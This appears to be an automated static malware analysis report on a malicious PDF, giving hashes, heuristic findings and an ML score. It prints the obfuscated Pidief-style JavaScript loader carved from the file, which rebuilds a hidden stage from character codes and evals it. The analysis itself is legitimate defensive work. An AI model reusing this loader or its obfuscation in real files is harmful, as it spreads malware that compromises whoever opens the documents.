Malicious PDF — malware analysis report

Static analysis result for SHA-256 e21dc2dcd307ae9e…

MALICIOUS

PDF

45.0 KB First seen: 2026-05-08
MD5: 2f61c3766936ac7bf6f03286b678b8e0 SHA-1: 9ab46719b2bf5be80cb81fc83f1d017891fc930e SHA-256: e21dc2dcd307ae9e981d7e44df4d7aba844105779b027118a969ed82b7f1cbae
86 Risk Score

Malware Insights

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings and the presence of a JavaScript object. The ML classifier strongly suggests malicious intent. The embedded JavaScript is likely designed to perform malicious actions, such as downloading a second-stage payload or exploiting vulnerabilities, although the specific actions could not be determined due to the lack of script content in the provided evidence.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB080 622 bytes
SHA-256: 919a86e67794d62f9074ae63759ef97106edf3bc689812572ca22b079089d0fa
Preview script
First 1,000 lines of the extracted script
uhgcr='';
v='s'+'u';
try{try{qwe()}catch(a){gsdg()}}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
a=["e","a","n","b","w","v",'r'];
try{try{qwe()}catch(a){gsdg()}}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
b='v';
a=["e","a","n","b","w",b,'r'];
e=(t,qwe)()[a[0]+a[5]+a[1]+(a,t[0])];
udzlx=e('ti'+'tle');
s=udzlx.substr(t.length + 8,3)+'str';
q=udzlx[s](1,(1,9));
mwsiu=e('S'+'tring.fro'+q);
q=udzlx[s](14).split('u');;
e('k=q.length');
for (i = 0; i != k; i+=2) {
	nkyn = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	uhgcr += mwsiu(nkyn);
}
e(uhgcr);

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